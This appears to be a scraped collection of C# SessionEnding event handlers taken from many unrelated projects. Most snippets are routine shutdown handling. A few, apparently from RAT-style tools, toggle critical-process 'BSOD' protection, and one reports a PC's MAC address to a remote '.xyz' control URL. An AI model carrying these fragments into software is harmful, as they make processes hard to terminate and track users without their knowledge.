// Token: 0x0600000E RID: 14 RVA: 0x000028CC File Offset: 0x00000ACC private static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { SessionEndReasons reason = e.Reason; SessionEndReasons sessionEndReasons = reason; if (sessionEndReasons != SessionEndReasons.Logoff) { if (sessionEndReasons == SessionEndReasons.SystemShutdown) { try { Form1.Unprotect(); } catch (Exception) { } } } else { try { Form1.Unprotect(); } catch (Exception) { } } }
void SystemEvents_SessionEnded(object sender, SessionEndingEventArgs e) { if (e.Reason == SessionEndReasons.SystemShutdown || e.Reason == SessionEndReasons.Logoff) { createData("shutdown"); } }
// 在此事件中决定是否关机或logoff private void SessionEndingEvent(object sender, SessionEndingEventArgs e) { SessionEndReasons endReasons = e.Reason; if (IsPass) { // 会关机或logoff e.Cancel = false; } else { // 不会关机或logoff e.Cancel = true; } switch (endReasons) { case SessionEndReasons.Logoff: return; case SessionEndReasons.SystemShutdown: return; break; default: return; break; } }
private static void SystemEventsOnSessionEnding(object sender, SessionEndingEventArgs e) { EffectManager.Instance.StopEffect(); EffectManager.Instance.Uninitialise(); Application.ApplicationExit -= ApplicationOnApplicationExit; SystemEvents.SessionEnding -= SystemEventsOnSessionEnding; }
private void OnSessionEnding(object sender, SessionEndingEventArgs e) { if (m_evHandler != null) { m_evHandler(sender, new SessionLockEventArgs(SessionLockReason.Ending)); } }
private static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { try { string siteUrl = "http://" + site + ".xyz/pc/pckontrol/" + MAC + "/0"; var httpWebRequest = (HttpWebRequest)WebRequest.Create(siteUrl); httpWebRequest.ContentType = "application/json"; httpWebRequest.Method = "GET"; var httpResponse = (HttpWebResponse)httpWebRequest.GetResponse(); if (httpResponse.StatusCode == HttpStatusCode.OK) { // Console.WriteLine("Kapatıldı"); } } catch (Exception Exc) { errorLine = "IP: " + IP + Environment.NewLine + "MAC: " + MAC + Environment.NewLine + "WORKGROUP: " + work + Environment.NewLine + "PC: " + pcadi + Environment.NewLine + "Hata: " + Exc.Message + Environment.NewLine + "Program: " + prgName + Environment.NewLine + "Tarih: " + DateTime.Now.ToString() + Environment.NewLine + "------------------------------------" + Environment.NewLine; string file_path = @winDirShortVersion + @":\n0kayip\Logs\error_log.txt"; // Process.Start(@winDirShortVersion + @":\n0kayip\GPS.exe"); System.IO.File.AppendAllText(file_path, errorLine); PcKapat(); } }
// For dealing with shutdown signal private static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs ev) { try { Globals.log.Debug("Exit Program because Receive SystemEvents_SessionEnding=" + ev.Reason.ToString()); if (Environment.HasShutdownStarted || (ev.Reason == SessionEndReasons.SystemShutdown)) { ev.Cancel = true; //Tackle Shutdown ComputerInfo.SubmitComputerLog(ComputerInfo.SubmitComputerLogMode.Logoff); ev.Cancel = false; } else if (ev.Reason == SessionEndReasons.Logoff) { //Tackle log off ComputerInfo.SubmitComputerLog(ComputerInfo.SubmitComputerLogMode.Logoff); } else { ComputerInfo.SubmitComputerLog(ComputerInfo.SubmitComputerLogMode.Logoff); } } catch (Exception e) { Globals.log.Error(e.ToString()); } }
private static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { Log.Write(LogLevel.Trace, "Reason: {0}", e.Reason); var mainForm = Instance.MainForm; mainForm.SaveAll(); }
public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { lock (sync) { isShutDown = true; } }
public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin()) { Exit(); } }
void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { if (Environment.HasShutdownStarted) { MessageBox.Show("Total amount of time the system logged on:" + ClockTextBlock.Text); } }
static void OnSessionEnding(object sender, SessionEndingEventArgs e) { try { DialogResult result = MessageBox.Show("Haben Sie wirklich alles erledigt?", "Erinnerung", MessageBoxButtons.YesNo, MessageBoxIcon.Information); switch (result) { case DialogResult.Yes: ProcessStartInfo psi = new ProcessStartInfo("shutdown", "/s /t 0") { CreateNoWindow = true, UseShellExecute = false }; Process.Start(psi); break; case DialogResult.No: MessageBox.Show("Es wird jetzt ein leeres Fenster im Editor geöffnet. Sobald Sie erledigt haben, was Sie noch tun wollten, schließen Sie dieses bitte. Erst dann wird der Computer herunterfahren.", "Hinweis", MessageBoxButtons.OK, MessageBoxIcon.Information); Process process = new Process(); process.StartInfo.FileName = "notepad.exe"; process.StartInfo.WindowStyle = ProcessWindowStyle.Minimized; process.Start(); process.WaitForExit(); break; default: MessageBox.Show("Unbekannter Fehler.", "Fehler", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); break; } } catch (Exception fehler) { MessageBox.Show("Fehler:" + Environment.NewLine + fehler.Message + Environment.NewLine + "Bitte wenden Sie sich an Ihren Systemadministrator.", "Fehler", MessageBoxButtons.OK, MessageBoxIcon.Error); } }
public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { if (Convert.ToBoolean(Plugin.BDOS) && Methods.IsAdmin()) { ProcessCriticalExit(); } }
/// <summary> /// Handles the SessionEnding event of the SystemEvents control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="SessionEndingEventArgs"/> instance containing the event data.</param> static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { if (e.Reason == SessionEndReasons.SystemShutdown) { Shutdown(); } }
private void OnSessionEnding(object sender, SessionEndingEventArgs e) { if (m_evHandler != null) { m_evHandler(sender, e); } }
private static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { foreach (Listener l in _listeners) { l.Setter(new byte[] { 1, 5, 0, 0, 0, 0 }); } }
private void OnShutDown(object s, SessionEndingEventArgs e) { if (e.Reason == SessionEndReasons.SystemShutdown) { TVOff(); } }
/// <summary> /// Handles the SessionEnding event of the SystemEvents control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="SessionEndingEventArgs"/> instance containing the event data.</param> static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { if (e.Reason == SessionEndReasons.SystemShutdown || !_isRunningAsService) { Shutdown(); } }
static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { try { CSessionClient.GetSessionUnique().CloseSession(); } catch { } }
private void SystemEventsOnSessionEnding(object sender, SessionEndingEventArgs e) { if (e.Reason == SessionEndReasons.SystemShutdown || e.Reason == SessionEndReasons.Logoff) { Toggl.SetOSShutdown(); } }
protected static void OnSessionEnding(Object sender, SessionEndingEventArgs e) { /* I suggest using SchwabenCode.EasySmtp as it is very easy to use and implements the IDisposable interface. If that is not an option, than simply use SmtpClient class */ if (e.Reason == SessionEndReasons.SystemShutdown) { // Send SMS message to yourself notifying shutdown is occurring on server } }
void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { ServiceController service = new ServiceController("OpenVPNService", "Localhost"); if (service.Status != ServiceControllerStatus.Running && service.Status != ServiceControllerStatus.StartPending) { service.Start(); } }
public void Deny_Unrestricted() { SessionEndingEventArgs seea = new SessionEndingEventArgs(SessionEndReasons.SystemShutdown); Assert.AreEqual(SessionEndReasons.SystemShutdown, seea.Reason, "Reason"); Assert.IsFalse(seea.Cancel, "Cancel-false"); seea.Cancel = true; Assert.IsTrue(seea.Cancel, "Cancel-true"); }
}//Service_ServiceAdded() // // #endregion//Event Handlers #region Win32 SystemEvent handlers // // // // **** SystemEvents_SessionEnding() **** private void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { if (m_FrontEndServer != null) { m_FrontEndServer.Log.NewEntry(LogLevel.Major, "Violet.SystemEvents_SessionEnding: {0} ", e); } e.Cancel = true; BeginShutDown(); }
private void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { try { StopProxy(systemSessionEnding: true, millisecondsTimeout: 5000); } catch (Exception exception) { LogError($"Fail to stop the proxy: {exception.Message}"); // continue } }
// system was shut down through Windows GUI void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { Log.Debug("Auto3D: SessionEnding"); if (e.Reason == SessionEndReasons.SystemShutdown) { SystemShutDown(); } }
private void OnAppSessionEnding(object sender, SessionEndingEventArgs e) { m_logger.Info("Session ending."); // THIS MUST BE DONE HERE ALWAYS, otherwise, we get BSOD. CriticalKernelProcessUtility.SetMyProcessAsNonKernelCritical(); Environment.Exit((int)ExitCodes.ShutdownWithSafeguards); }
protected static void SessionEndingEvtHandler(object sender, SessionEndingEventArgs e) { if (e.Reason == SessionEndReasons.Logoff) { //Process.Start("shutdown", "-a"); } CancelShutdown(); new Formulario().Show(); }
protected void systemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { string logoutmsg = this.reqUtil.getLogoutMsg(); if (logoutmsg != "已处于下线") { this.reqUtil.logout(); } e.Cancel = false; }
private void Windows_SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) { // This event will only be triggered if you run Wasabi from the published package. Use the packager with the --onlybinaries option. Logger.LogInfo($"Process termination was requested by the OS, reason '{e.Reason}'."); e.Cancel = true; // This must be a blocking call because after this the OS will terminate the Wasabi process if it exists. // The process will be killed by the OS after ~7 seconds, even with e.Cancel = true. Terminate(); }